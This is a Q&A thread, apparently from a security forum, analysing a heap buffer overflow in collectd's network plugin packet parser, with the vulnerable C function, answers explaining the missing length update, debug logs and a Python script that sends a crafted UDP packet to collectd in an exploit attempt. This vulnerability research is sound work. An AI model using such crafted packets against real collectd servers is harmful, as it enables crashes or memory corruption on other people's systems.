1

Trying to understand this piece of code:

It containts Heap Buffer Overflow Vulnerability:

static int parse_packet (sockent_t *se, /* {{{ */
        void *buffer, size_t buffer_size, int flags,
        const char *username)
{
    int status;

    value_list_t vl = VALUE_LIST_INIT;
    notification_t n;

#if HAVE_LIBGCRYPT
    int packet_was_signed = (flags & PP_SIGNED);
        int packet_was_encrypted = (flags & PP_ENCRYPTED);
    int printed_ignore_warning = 0;
#endif /* HAVE_LIBGCRYPT */


    memset (&vl, '\0', sizeof (vl));
    memset (&n, '\0', sizeof (n));
    status = 0;

    while ((status == 0) && (0 < buffer_size)
            && ((unsigned int) buffer_size > sizeof (part_header_t)))
    {
        uint16_t pkg_length;
        uint16_t pkg_type;

        memcpy ((void *) &pkg_type,
                (void *) buffer,
                sizeof (pkg_type));
        memcpy ((void *) &pkg_length,
                (void *) (buffer + sizeof (pkg_type)),
                sizeof (pkg_length));

        pkg_length = ntohs (pkg_length);
        pkg_type = ntohs (pkg_type);

        if (pkg_length > buffer_size)
            break;
        /* Ensure that this loop terminates eventually */
        if (pkg_length < (2 * sizeof (uint16_t)))
            break;

        if (pkg_type == TYPE_ENCR_AES256)
        {
            status = parse_part_encr_aes256 (se,
                    &buffer, &buffer_size, flags);
            if (status != 0)
            {
                ERROR ("network plugin: Decrypting AES256 "
                        "part failed "
                        "with status %i.", status);
                break;
            }
        }
#if HAVE_LIBGCRYPT
        else if ((se->data.server.security_level == SECURITY_LEVEL_ENCRYPT)
                && (packet_was_encrypted == 0))
        {
            if (printed_ignore_warning == 0)
            {
                INFO ("network plugin: Unencrypted packet or "
                        "part has been ignored.");
                printed_ignore_warning = 1;
            }
            buffer = ((char *) buffer) + pkg_length;
            continue;
        }
#endif /* HAVE_LIBGCRYPT */
        else if (pkg_type == TYPE_SIGN_SHA256)
        {
            status = parse_part_sign_sha256 (se,
                                        &buffer, &buffer_size, flags);
            if (status != 0)
            {
                ERROR ("network plugin: Verifying HMAC-SHA-256 "
                        "signature failed "
                        "with status %i.", status);
                break;
            }
        }
#if HAVE_LIBGCRYPT
        else if ((se->data.server.security_level == SECURITY_LEVEL_SIGN)
                && (packet_was_encrypted == 0)
                && (packet_was_signed == 0))
        {
            if (printed_ignore_warning == 0)
            {
                INFO ("network plugin: Unsigned packet or "
                        "part has been ignored.");
                printed_ignore_warning = 1;
            }
            buffer = ((char *) buffer) + pkg_length;
            continue;
        }
#endif /* HAVE_LIBGCRYPT */
        else if (pkg_type == TYPE_VALUES)
        {
            status = parse_part_values (&buffer, &buffer_size,
                    &vl.values, &vl.values_len);
            if (status != 0)
                break;

            network_dispatch_values (&vl, username);

            sfree (vl.values);
        }
        else if (pkg_type == TYPE_TIME)
        {
            uint64_t tmp = 0;
            status = parse_part_number (&buffer, &buffer_size,
                    &tmp);
            if (status == 0)
            {
                vl.time = TIME_T_TO_CDTIME_T (tmp);
                n.time  = TIME_T_TO_CDTIME_T (tmp);
            }
        }
        else if (pkg_type == TYPE_TIME_HR)
        {
            uint64_t tmp = 0;
            status = parse_part_number (&buffer, &buffer_size,
                    &tmp);
            if (status == 0)
            {
                vl.time = (cdtime_t) tmp;
                n.time  = (cdtime_t) tmp;
            }
        }
        else if (pkg_type == TYPE_INTERVAL)
        {
            uint64_t tmp = 0;
            status = parse_part_number (&buffer, &buffer_size,
                    &tmp);
            if (status == 0)
                vl.interval = TIME_T_TO_CDTIME_T (tmp);
        }
        else if (pkg_type == TYPE_INTERVAL_HR)
        {
            uint64_t tmp = 0;
            status = parse_part_number (&buffer, &buffer_size,
                    &tmp);
            if (status == 0)
                vl.interval = (cdtime_t) tmp;
        }
        else if (pkg_type == TYPE_HOST)
        {
            status = parse_part_string (&buffer, &buffer_size,
                    vl.host, sizeof (vl.host));
            if (status == 0)
                sstrncpy (n.host, vl.host, sizeof (n.host));
        }
        else if (pkg_type == TYPE_PLUGIN)
        {
            status = parse_part_string (&buffer, &buffer_size,
                    vl.plugin, sizeof (vl.plugin));
            if (status == 0)
                sstrncpy (n.plugin, vl.plugin,
                        sizeof (n.plugin));
        }
        else if (pkg_type == TYPE_PLUGIN_INSTANCE)
        {
            status = parse_part_string (&buffer, &buffer_size,
                    vl.plugin_instance,
                    sizeof (vl.plugin_instance));
            if (status == 0)
                sstrncpy (n.plugin_instance,
                        vl.plugin_instance,
                        sizeof (n.plugin_instance));
        }
        else if (pkg_type == TYPE_TYPE)
        {
            status = parse_part_string (&buffer, &buffer_size,
                    vl.type, sizeof (vl.type));
            if (status == 0)
                sstrncpy (n.type, vl.type, sizeof (n.type));
        }
        else if (pkg_type == TYPE_TYPE_INSTANCE)
        {
            status = parse_part_string (&buffer, &buffer_size,
                    vl.type_instance,
                    sizeof (vl.type_instance));
            if (status == 0)
                sstrncpy (n.type_instance, vl.type_instance,
                        sizeof (n.type_instance));
        }
        else if (pkg_type == TYPE_MESSAGE)
        {
            status = parse_part_string (&buffer, &buffer_size,
                    n.message, sizeof (n.message));

            if (status != 0)
            {
                /* do nothing */
            }
            else if ((n.severity != NOTIF_FAILURE)
                    && (n.severity != NOTIF_WARNING)
                    && (n.severity != NOTIF_OKAY))
            {
                INFO ("network plugin: "
                        "Ignoring notification with "
                        "unknown severity %i.",
                        n.severity);
            }
            else if (n.time <= 0)
            {
                INFO ("network plugin: "
                        "Ignoring notification with "
                        "time == 0.");
            }
            else if (strlen (n.message) <= 0)
            {
                INFO ("network plugin: "
                        "Ignoring notification with "
                        "an empty message.");
            }
            else
            {
                plugin_dispatch_notification (&n);
            }
        }
        else if (pkg_type == TYPE_SEVERITY)
        {
            uint64_t tmp = 0;
            status = parse_part_number (&buffer, &buffer_size,
                    &tmp);
            if (status == 0)
                n.severity = (int) tmp;
        }
        else
        {
            DEBUG ("network plugin: parse_packet: Unknown part"
                    " type: 0x%04hx", pkg_type);
            buffer = ((char *) buffer) + pkg_length;
        }
    } /* while (buffer_size > sizeof (part_header_t)) */

    if (status == 0 && buffer_size > 0)
        WARNING ("network plugin: parse_packet: Received truncated "
                "packet, try increasing `MaxPacketSize'");

    return (status);
} /* }}} int parse_packet */

It was patched with this:

https://patchwork.openembedded.org/patch/131191/

I spent some time investigating it but cannot find the bug ...

Can anybody help?

Update 1:

Thanks for the answers, especially @grochmal

My attempt to make buffer overflow/heap overflow:

  parse_packet()
bufer_size:260
packet_was_encrypted:0
packet_was_signed:0
se->data.server.security_level:0
While() 0
buffer_size:260
Packet dump:400005004000050140000502400005034000050440000505400005064000050740000508400005094000050A4000050B4000050C4000050D4000050E4000050F400005104000051140000512400005134000051440000515400005164000051740000518400005194000051A4000051B4000051C4000051D4000051E4000051F400005204000052140000522400005234000052440000525400005264000052740000528400005294000052A4000052B4000052C4000052D4000052E4000052F400005304000053140000532400005334000053440000535400005364000053740000538400005394000053A4000053B4000053C4000053D4000053E4000053F400005404000054140000542400005434000054440000545400005464000054740000548400005494000054A4000054B4000054C4000054D4000054E4000054F400005504000055140000552400005534000055440000555400005564000055740000558400005594000055A4000055B4000055C4000055D4000055E4000055F400005604000056140000562400005634000056440000565400005664000056740000568400005694000056A4000056B4000056C4000056D4000056E4000056F400005704000057140000572400005734000057440000575400005764000057740000578400005794000057A4000057B4000057C4000057D4000057E4000057F400005804000058140000582400005834000058440000585400005864000058740000588400005894000058A4000058B4000058C4000058D4000058E4000058F400005904000059140000592400005934000059440000595400005964000059740000598400005994000059A4000059B4000059C4000059D4000059E4000059F400005A0400005A1400005A2400005A3400005A4400005A5400005A6400005A7400005A8400005A9400005AA400005AB400005AC400005AD400005AE400005AF400005B0400005B1400005B2400005B3400005B4400005B5400005B6400005B7400005B8400005B9400005BA400005BB400005BC400005BD400005BE400005BF400005C0400005C1400005C2400005C3400005C4400005C5400005C6400005C7400005C8400005C9400005CA400005CB400005CC400005CD400005CE400005CF400005D0400005D1400005D2400005D3400005D4400005D5400005D6400005D7400005D8400005D9400005DA400005DB400005DC400005DD400005DE400005DF400005E0400005E1400005E2400005E3400005E4400005E5400005E6400005E7400005E8400005E9400005EA400005EB400005EC400005ED400005EE400005EF400005F0400005F1400005F2400005F3400005F4400005F5400005F6400005F7400005F8400005F9400005FA400005FB400005FC400005FD400005FE400005FF40000600400006014000060240000603
pkg_length:16384
pkg_type:1280
pkg_length(ntohs):64
pkg_type(ntohs):5
pkg_type == TYPE_TYPE_INSTANCE
buffer_size:260
While() 1
buffer_size:196
Packet dump:400005004000050140000502400005034000050440000505400005064000050740000508400005094000050A4000050B4000050C4000050D4000050E4000050F400005104000051140000512400005134000051440000515400005164000051740000518400005194000051A4000051B4000051C4000051D4000051E4000051F400005204000052140000522400005234000052440000525400005264000052740000528400005294000052A4000052B4000052C4000052D4000052E4000052F400005304000053140000532400005334000053440000535400005364000053740000538400005394000053A4000053B4000053C4000053D4000053E4000053F400005404000054140000542400005434000054440000545400005464000054740000548400005494000054A4000054B4000054C4000054D4000054E4000054F400005504000055140000552400005534000055440000555400005564000055740000558400005594000055A4000055B4000055C4000055D4000055E4000055F400005604000056140000562400005634000056440000565400005664000056740000568400005694000056A4000056B4000056C4000056D4000056E4000056F400005704000057140000572400005734000057440000575400005764000057740000578400005794000057A4000057B4000057C4000057D4000057E4000057F400005804000058140000582400005834000058440000585400005864000058740000588400005894000058A4000058B4000058C4000058D4000058E4000058F400005904000059140000592400005934000059440000595400005964000059740000598400005994000059A4000059B4000059C4000059D4000059E4000059F400005A0400005A1400005A2400005A3400005A4400005A5400005A6400005A7400005A8400005A9400005AA400005AB400005AC400005AD400005AE400005AF400005B0400005B1400005B2400005B3400005B4400005B5400005B6400005B7400005B8400005B9400005BA400005BB400005BC400005BD400005BE400005BF400005C0400005C1400005C2400005C3
pkg_length:16384
pkg_type:1280
pkg_length(ntohs):64
pkg_type(ntohs):5
pkg_type == TYPE_TYPE_INSTANCE
buffer_size:196
While() 2
buffer_size:132
Packet dump:420005004200050142000502420005034200050442000505420005064200050742000508420005094200050A4200050B4200050C4200050D4200050E4200050F420005104200051142000512420005134200051442000515420005164200051742000518420005194200051A4200051B4200051C4200051D4200051E4200051F420005204200052142000522420005234200052442000525420005264200052742000528420005294200052A4200052B4200052C4200052D4200052E4200052F420005304200053142000532420005334200053442000535420005364200053742000538420005394200053A4200053B4200053C4200053D4200053E4200053F420005404200054142000542420005434200054442000545420005464200054742000548420005494200054A4200054B4200054C4200054D4200054E4200054F420005504200055142000552420005534200055442000555420005564200055742000558420005594200055A4200055B4200055C4200055D4200055E4200055F420005604200056142000562420005634200056442000565420005664200056742000568420005694200056A4200056B4200056C4200056D4200056E4200056F420005704200057142000572420005734200057442000575420005764200057742000578420005794200057A4200057B4200057C4200057D4200057E4200057F42000580420005814200058242000583
pkg_length:16896
pkg_type:1280
pkg_length(ntohs):66
pkg_type(ntohs):5
pkg_type == TYPE_TYPE_INSTANCE
buffer_size:132
While() 3
buffer_size:66
Packet dump:420005004200050142000502420005034200050442000505420005064200050742000508420005094200050A4200050B4200050C4200050D4200050E4200050F420005104200051142000512420005134200051442000515420005164200051742000518420005194200051A4200051B4200051C4200051D4200051E4200051F420005204200052142000522420005234200052442000525420005264200052742000528420005294200052A4200052B4200052C4200052D4200052E4200052F420005304200053142000532420005334200053442000535420005364200053742000538420005394200053A4200053B4200053C4200053D4200053E4200053F4200054042000541
pkg_length:16896
pkg_type:1280
pkg_length(ntohs):66
pkg_type(ntohs):5
pkg_type == TYPE_TYPE_INSTANCE
buffer_size:66

But somehow I cannot go past the buffer .... if I set the pkg_lenght in last packet to 67, I get this:

option = Hostname; value = 127.0.0.1;
option = FQDNLookup; value = true;
option = BaseDir; value = /opt/collectd/var/lib/collectd;
option = PIDFile; value = /opt/collectd/var/run/collectd.pid;
Done parsing `/opt/collectd/share/collectd/types.db'
Created new plugin context.
parse_packet()
bufer_size:260
packet_was_encrypted:0
packet_was_signed:0
se->data.server.security_level:0
While() 0
buffer_size:260
Packet dump:400005004000050140000502400005034000050440000505400005064000050740000508400005094000050A4000050B4000050C4000050D4000050E4000050F400005104000051140000512400005134000051440000515400005164000051740000518400005194000051A4000051B4000051C4000051D4000051E4000051F400005204000052140000522400005234000052440000525400005264000052740000528400005294000052A4000052B4000052C4000052D4000052E4000052F400005304000053140000532400005334000053440000535400005364000053740000538400005394000053A4000053B4000053C4000053D4000053E4000053F400005404000054140000542400005434000054440000545400005464000054740000548400005494000054A4000054B4000054C4000054D4000054E4000054F400005504000055140000552400005534000055440000555400005564000055740000558400005594000055A4000055B4000055C4000055D4000055E4000055F400005604000056140000562400005634000056440000565400005664000056740000568400005694000056A4000056B4000056C4000056D4000056E4000056F400005704000057140000572400005734000057440000575400005764000057740000578400005794000057A4000057B4000057C4000057D4000057E4000057F400005804000058140000582400005834000058440000585400005864000058740000588400005894000058A4000058B4000058C4000058D4000058E4000058F400005904000059140000592400005934000059440000595400005964000059740000598400005994000059A4000059B4000059C4000059D4000059E4000059F400005A0400005A1400005A2400005A3400005A4400005A5400005A6400005A7400005A8400005A9400005AA400005AB400005AC400005AD400005AE400005AF400005B0400005B1400005B2400005B3400005B4400005B5400005B6400005B7400005B8400005B9400005BA400005BB400005BC400005BD400005BE400005BF400005C0400005C1400005C2400005C3400005C4400005C5400005C6400005C7400005C8400005C9400005CA400005CB400005CC400005CD400005CE400005CF400005D0400005D1400005D2400005D3400005D4400005D5400005D6400005D7400005D8400005D9400005DA400005DB400005DC400005DD400005DE400005DF400005E0400005E1400005E2400005E3400005E4400005E5400005E6400005E7400005E8400005E9400005EA400005EB400005EC400005ED400005EE400005EF400005F0400005F1400005F2400005F3400005F4400005F5400005F6400005F7400005F8400005F9400005FA400005FB400005FC400005FD400005FE400005FF40000600400006014000060240000603
pkg_length:16384
pkg_type:1280
pkg_length(ntohs):64
pkg_type(ntohs):5
pkg_type == TYPE_TYPE_INSTANCE
buffer_size:260
While() 1
buffer_size:196
Packet dump:400005004000050140000502400005034000050440000505400005064000050740000508400005094000050A4000050B4000050C4000050D4000050E4000050F400005104000051140000512400005134000051440000515400005164000051740000518400005194000051A4000051B4000051C4000051D4000051E4000051F400005204000052140000522400005234000052440000525400005264000052740000528400005294000052A4000052B4000052C4000052D4000052E4000052F400005304000053140000532400005334000053440000535400005364000053740000538400005394000053A4000053B4000053C4000053D4000053E4000053F400005404000054140000542400005434000054440000545400005464000054740000548400005494000054A4000054B4000054C4000054D4000054E4000054F400005504000055140000552400005534000055440000555400005564000055740000558400005594000055A4000055B4000055C4000055D4000055E4000055F400005604000056140000562400005634000056440000565400005664000056740000568400005694000056A4000056B4000056C4000056D4000056E4000056F400005704000057140000572400005734000057440000575400005764000057740000578400005794000057A4000057B4000057C4000057D4000057E4000057F400005804000058140000582400005834000058440000585400005864000058740000588400005894000058A4000058B4000058C4000058D4000058E4000058F400005904000059140000592400005934000059440000595400005964000059740000598400005994000059A4000059B4000059C4000059D4000059E4000059F400005A0400005A1400005A2400005A3400005A4400005A5400005A6400005A7400005A8400005A9400005AA400005AB400005AC400005AD400005AE400005AF400005B0400005B1400005B2400005B3400005B4400005B5400005B6400005B7400005B8400005B9400005BA400005BB400005BC400005BD400005BE400005BF400005C0400005C1400005C2400005C3
pkg_length:16384
pkg_type:1280
pkg_length(ntohs):64
pkg_type(ntohs):5
pkg_type == TYPE_TYPE_INSTANCE
buffer_size:196
While() 2
buffer_size:132
Packet dump:420005004200050142000502420005034200050442000505420005064200050742000508420005094200050A4200050B4200050C4200050D4200050E4200050F420005104200051142000512420005134200051442000515420005164200051742000518420005194200051A4200051B4200051C4200051D4200051E4200051F420005204200052142000522420005234200052442000525420005264200052742000528420005294200052A4200052B4200052C4200052D4200052E4200052F420005304200053142000532420005334200053442000535420005364200053742000538420005394200053A4200053B4200053C4200053D4200053E4200053F420005404200054142000542420005434200054442000545420005464200054742000548420005494200054A4200054B4200054C4200054D4200054E4200054F420005504200055142000552420005534200055442000555420005564200055742000558420005594200055A4200055B4200055C4200055D4200055E4200055F420005604200056142000562420005634200056442000565420005664200056742000568420005694200056A4200056B4200056C4200056D4200056E4200056F420005704200057142000572420005734200057442000575420005764200057742000578420005794200057A4200057B4200057C4200057D4200057E4200057F42000580420005814200058242000583
pkg_length:16896
pkg_type:1280
pkg_length(ntohs):66
pkg_type(ntohs):5
pkg_type == TYPE_TYPE_INSTANCE
buffer_size:132
While() 3
buffer_size:66
Packet dump:430005004300050143000502430005034300050443000505430005064300050743000508430005094300050A4300050B4300050C4300050D4300050E4300050F430005104300051143000512430005134300051443000515430005164300051743000518430005194300051A4300051B4300051C4300051D4300051E4300051F430005204300052143000522430005234300052443000525430005264300052743000528430005294300052A4300052B4300052C4300052D4300052E4300052F430005304300053143000532430005334300053443000535430005364300053743000538430005394300053A4300053B4300053C4300053D4300053E4300053F4300054043000541
pkg_length:17152
pkg_type:1280
pkg_length(ntohs):67
pkg_type(ntohs):5
Break pkg_length > buffer_size

Update 2:

Hmmmm ... no go ... was trying to overflow the parse_part_values() but there is a check for this:

Hmmmm ... here it stops:

[2017-02-12 16:43:18] network plugin: parse_part_values: Packet too short: Chunk of size 726 expected, but buffer has only 51 bytes left.

Here is the code that produces above:

exp.py

import socket

UDP_IP = "127.0.0.1"
UDP_PORT = 25826

print "UDP target IP:", UDP_IP
print "UDP target port:", UDP_PORT

sock = socket.socket(socket.AF_INET, # Internet
             socket.SOCK_DGRAM) # UDP

str="\x00\x05\x00\x40\x6c\x61\x70\x74\x6f\x70\x00\x05\x01\x00\x0c\x00\x00\x00\x00\x58\x9c\xc5\x59\x00\x02\x00\x08\x61\x6e\x79\x00\x00\x03\x00\x40\x00\x00\x04\x00\x0a\x67\x61\x75\x67\x65\x00\x00\x07\x00\x0c\x00\x00\x00\x00\x00\x00\x00\x0a\x00\x05\x00\x15\x63\x00\x00\x05\x00\x40\x40\x6c\x61\x70\x74\x6f\x70\x00\x05\x01\x00\x0c\x00\x00\x00\x00\x58\x9c\xc5\x59\x00\x02\x00\x08\x61\x6e\x79\x00\x00\x03\x00\x05\x00\x00\x04\x00\x0a\x67\x61\x75\x67\x65\x00\x00\x07\x00\x0c\x00\x00\x00\x00\x00\x00\x00\x0a\x00\x05\x00\x15\x00\x00\x05\x00\x42\x40\x6c\x61\x70\x74\x6f\x70\x00\x05\x01\x00\x0c\x00\x00\x00\x00\x58\x9c\xc5\x59\x00\x02\x00\x08\x61\x6e\x79\x00\x00\x03\x00\x05\x00\x00\x04\x00\x0a\x67\x61\x75\x67\x65\x00\x00\x07\x00\x0c\x00\x00\x00\x00\x00\x00\x00\x0a\x00\x05\x00\x15\x00\x00\x00\x00\x05\x00\x42\x40\x6c\x61\x70\x74\x6f\x70\x00\x05\x01\x00\x0c\x00\x00\x00\x00\x58\x9c\xc5\x59\x00\x02\x00\x08\x61\x6e\x79\x00\x00\x03\x00\x05\x00\x00\x04\x00\x0a\x67\x61\x75\x67\x65\x00\x00\x07\x00\x0c\x00\x00\x00\x00\x00\x00\x00\x0a\x00\x05\x00\x15\x00\x00\x00\x00\x06\x00\x33\x00\x50\x01\x00\x00\x00\x00\x00\x00\x10\x40\x01\x00\x00\x00\x00\x00\x00\x10\x40\x01\x00\x00\x00\x00\x00\x00\x10\x40\x01\x00\x00\x00\x00\x00\x00\x10\x40\x01\x00\x00\x00\x00\x00\x00\x10\x40"


sock.sendto(str,(UDP_IP, UDP_PORT))

Below is a disassembled frame in Wireshark for the code above:

enter image description here

1
  • The patch is obvious, the buffer pointer was advanced without updating the counter that supposedly specified the size of the buffer. As a result the bound checks fail at preventing buffer overflows.
    – Rob W
    Feb 12 '17 at 0:07
2

Since it is argued to be a heap overflow, I assume that the buffer is in heap. And that is what the fix you link suggests.

The issue is that pkg_length is taken from the buffer, which is a network packet that is therefore supplied by a connecting client:

memcpy ((void *) &pkg_length,
        (void *) (buffer + sizeof (pkg_type)),
        sizeof (pkg_length));

That uint16 can be set to whatever the person sending the packet wants. Now, quite often the following is performed:

buffer = ((char *) buffer) + pkg_length;

Which is fine unless pkg_length > buffer_size, but there is a check about that at the beginning:

if (pkg_length > buffer_size)
    break;

The problem starts with the fact that there can be more than one packet in the buffer, since we have a while loop over it. Second we have all those parse_* functions updating buffer_size, yet they do not get passed pkg_size. These functions can only know what they parsed and update buffer_size accordingly.

So, on the first packet we send a huge pkg_length (which is still smaller than buffer_size though) and advance the buffer forward. Then, on a 2nd or 3rd (or further) package we can add pkg_length that is bigger than the rest of the buffer but still smaller than buffer_size. This will allow us to write after the buffer end.

5
  • I updated the question (Update 1:) Can you elaborate, when possible, some more on what the packet sequence should be (packet size and packet types). Thanks!!!
    – dev
    Feb 12 '17 at 11:32
  • @android_dev - That is really something to dump into GDB, or possibly do fuzzying. Although hand crafting is still viable I believe. What I would actually attempt is to first comment out the code that has checks to prove to myself that I can crash the process. After that I would go through the checks.
    – grochmal
    Feb 12 '17 at 18:33
  • Thanks! Hmmm ... OK, I will fuzz it a little bit (doing it now :) ). Based on the packet from exp.py. After looking through this code, I am slowly doubting that there is a heap overflow/BO there ... maybe somebody run a static analysis code that just flagged it as a finding ...
    – dev
    Feb 12 '17 at 19:10
  • I am fuzzing using AFL (with network patch) .... based on inputs of valid packets. Current performance is around 100 requests/second
    – dev
    Feb 12 '17 at 19:35
  • 1
    @android_dev - "static analysis code that just flagged it as a finding" - completely possible. But that does not mean it shouldn't be fixed. If you comment out some code and then achieve the overflow, it is still a valid CVE. That is because the code you are commenting out can change in the future, since it is not dependent on this specific procedure.
    – grochmal
    Feb 13 '17 at 2:09

This site is temporarily in read only mode and not accepting new answers.

Not the answer you're looking for? Browse other questions tagged .